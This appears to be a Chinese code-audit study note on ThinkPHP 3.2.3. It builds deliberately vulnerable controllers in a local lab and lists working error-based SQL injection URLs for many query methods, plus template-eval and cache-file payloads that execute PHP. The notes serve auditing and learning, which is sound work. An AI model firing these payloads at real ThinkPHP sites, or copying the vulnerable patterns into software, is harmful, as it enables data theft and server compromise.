配置数据库以及调试
路径
Code-audit/thinkphp_3.2.3_full/ThinkPHP/Conf/convention.php
配置
/* 数据库设置 */
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => '127.0.0.1', // 服务器地址
'DB_NAME' => 'thinkphp3', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => '3306', // 端口
或者在Common下配置
加入调试语句:
'SHOW_PAGE_TRACE' =>true,
控制器配置
Code-audit\thinkphp_3.2.3_full\Application\Home\Controller\IndexController.class.php
字符串方式查询
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$map['id'] = I('GET.id');
$data = M('users')->where($map)->find();
// $data = M('users')->find(I('GET.id'));
var_dump($data);
}
}
where注入
字符串查询
$data = M('users')->where('id='.I('GET.id'))->find();
var_dump($data);
注入:
http://localhost//Code-audit/thinkphp_3.2.3_full/?id=1) and 1=(updatexml(1,concat(0x7e,user(),0x73),1)
调试一下,会进入一个条件判断
一直向下跟,进入到了字符串查询模式
最后返回一个完整的SQL
数组条件查询(防止注入)
数组查询进入__parseType方法,val值会变成int
$User = M("users"); // 实例化User对象
$map['id'] = I('GET.id');
// 把查询条件传入查询方法
$data = $User->where($map)->select();
var_dump($data);
调试跟入,可以看到1p被强制转换为1
table注入
用来切换表名的,当表名可控时,就会产生注入
public function table_sql(){
$data = M()->table(I('tab'))->where('1=1')->find();
var_dump($data);
}
先输入一个不存在的表名user(原本为users)
调试看看
这里已经进入到error了,就不会执行select了
输入存在的users表就会进入select
输入注入语句:
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/table_sql?tab=users where 1=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
如果框架使用了table方法,就会存在注入,可以搜索
field方法注入
操作表中字段、限制查询返回的结果,使用的次数比较多
只要field方法的参数可控,无论是数组还是字符串,都可以被注入
public function field_sql(){
$data = M('users')->field(array('id','username'=>I('name')))->select();
var_dump($data);
}
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/field_sql?name=uname from users where 1=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
只要控制了字段名和别名都可以注入
alias、join、union方法
alias方法用来操作别名,与field方法类似,一般与join成对出现
如果可控,都可注入,可以使用正则来寻找他们
->alias($a)
->alias($_GET)
->alias(I)
->join($
->union($
->(alias|join|union)\((\$|I)
order、group、having
数组和字符串都存在注入
orderby
例如orderby
public function ogh_sql(){
$data = M('users')->where('1=1')->order(array('id'=>I('orderby')))->select();
var_dump($data);
}
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/ogh_sql?orderby=,(select 1=updatexml(1,concat(0x7e,database(),0x7e),1))
group
public function ogh_sql(){
$data = M('users')->field('id,username')->group(I('uname'))->select();
var_dump($data);
}
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/ogh_sql?uname=(1=updatexml(1,concat(0x7e,user(),0x7e),1))
having
public function ogh_sql(){
$data = M('users')
->field('id,username')
->group(I('uname'))
->having(I('having'))
->select();
var_dump($data);
}
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/ogh_sql?uname=username&having=(1=updatexml(1,concat(0x7e,user(),0x7e),1))
三者都是在最后进行拼接
comment、index
comment
例子:
public function comment_sql(){
$data = M('users')->comment(I('comment'))->where('1=1')->find();
var_dump($data);
}
comment主要是用来注释的,例如
拼接注释符即可造成注入(在mysql5.5下执行成功)
*/ procedure analyse(extractvalue(rand(),concat(0x7e,user())),2)%23
index
此方法用于数据集的强制索引操作,对查询强制使用userid索引,userid必须是数据表实际创建的索引名称
例子:
public function getUserIndex(){
$data = M('users')->force(I('f'))->select();
var_dump($data);
}
) procedure analyse(extractvalue(rand(),concat(0x7e,user())),2)%23
全局搜索关键字force来查找漏洞,TP5
query、execute、聚合方法
query
实例化一个空模型后使用query方法查询数据
$data = M()->query("select * from users");
dump($data);
execute
可以新增、修改、删除数据
M()->execute("update users set username='root' where id=1");
聚合方法
count、max、min、avg、sum这5个方法注入场景类似
$data = M('users')->count(I('parameter'));
dump($data);
可控,闭合括号
id) from users where 1=1 and updatexml(1,concat(0x7e,user()),1)%23
EXP注入(表达式注入)
上面的查询条件仅仅是一个简单的相等判断,可以使用查询表达式支持更多的SQL查询语法,也是ThinkPHP查询语言的精髓,查询表达式的使用格式:
$map['字段名'] = array('表达式','查询条件');
EQ :等于(=)
例如:
$map['id'] = array('eq',100);
和下面的查询等效
$map['id'] = 100;
注入例子:
public function getUser(){
$map['id'] = $_GET['id'];
$data = M('users')->field('username')->where($map)->select();
dump($data);
}
官方I('id'),则不会有注入,跟进的时候会进入where这里,有转义
如果使用原生态的$_GET['id']引入,会带入SQL查询,就有可能产生注入,我们可以传入exp数组
http://localhost/index.php/Home/Index/getUser?id[0]=exp&id[1]==1
http://localhost/index.php/Home/Index/getUser?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user()),1)
使用exp时,这里会进行拼接
setInc
public function getUser(){
$User = M('users');
$User->where('id=3')->setInc('score',I('num'));
}
步长没有过滤,下面还有表达式
这里传入
http://localhost/index.php/Home/Index/getUser?num=2 and updatexml(1,concat(0x7e,user()),1)
Action参数注入
一般审计时先查找I方法或$_GET、$_POST等原生态请求,然而Action参数传入也有可能存在注入
public function getUser($id){
$data = M('users')->field('username')->where('id ='.$id)->select();
var_dump($data);
}
http://localhost/index.php/Home/Index/getUser/?id=2) and updatexml(1,concat(0x7e,user()),1)%23
使用正则来搜索存在的action参数
public\s+function\s+[\w_-]+\(\$
组合注入
https://www.kancloud.cn/manual/thinkphp/1771
_string
public function getUserIndex(){
$User = M("users"); // 实例化User对象
$map['id'] = array('eq',1);
$map['name'] = 'ok';
$map['_string'] = 'score='.I('score');
$data = $User->where($map)->select();
var_dump($data);
}
http://localhost/index.php/Home/Index/getUserIndex/?score=60) and updatexml(1,concat(0x7e,user()),1)%23
模板漏洞
如果'TMPL_ENGINE_TYPE'设置为php,(默认为think)最后会调用eval,从而造成模板注入
public function getUserIndex(){
$name = $_GET['name'];
$this->assign($name);
$this->display('index');
}
http://localhost/index.php/Home/Index/getUserIndex?name[_content]=%3C?php%20phpinfo();?%3E
跟进来之后,会执行eval
PHP标签
IndexController.class.php
public function index(){
$name = I('name');
$this->assign('name',$name);
$this->display();
}
\Application\Home\View\Index\index.html
<html>
<title>
aaa
</title>
<body>
<h1>aaaa</h1>
<php>eval(${name})</php>
</body>
</html>
http://localhost/index.php/Home/Index/index?name=phpinfo();
缓存漏洞
public function index(){
// 缓存漏洞
F('key123','<?php phpinfo();?>');
}
如果runtime可以访问,则
使用S
文件名为key
内容
可以传入换行符
public function index(){
// 缓存漏洞
S('key',I('input'));
}
Code-audit\thinkphp_3.2.3_full\Application\Runtime\Temp\3c6e0b8a9c15224a8228b9a98ca1531d.php
Application\Runtime\Temp\3c6e0b8a9c15224a8228b9a98ca1531d.php
Widget扩展
与controlller类似,在同级目录下创建widget
CateWidget.class.php
<?php
namespace Home\Widget;
use \Think\Controller;
class CateWidget extends Controller
{
public function index(){
phpinfo();
}
}
index.html
<html>
<title>
aaa
</title>
<body>
{:W('Cate/index')}
</body>
</html>
IndexController.class.php
public function index(){
$this->display();
}
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/index.html
参考
https://paper.seebug.org/1377/
https://y4er.com/post/thinkphp3-vuln/
https://www.kancloud.cn/manual/thinkphp/1679
https://www.yuque.com/jxswcy/ctfnotebook/zrlczl
https://www.bilibili.com/video/BV1B54y1k74C?from=search&seid=7073475207116317757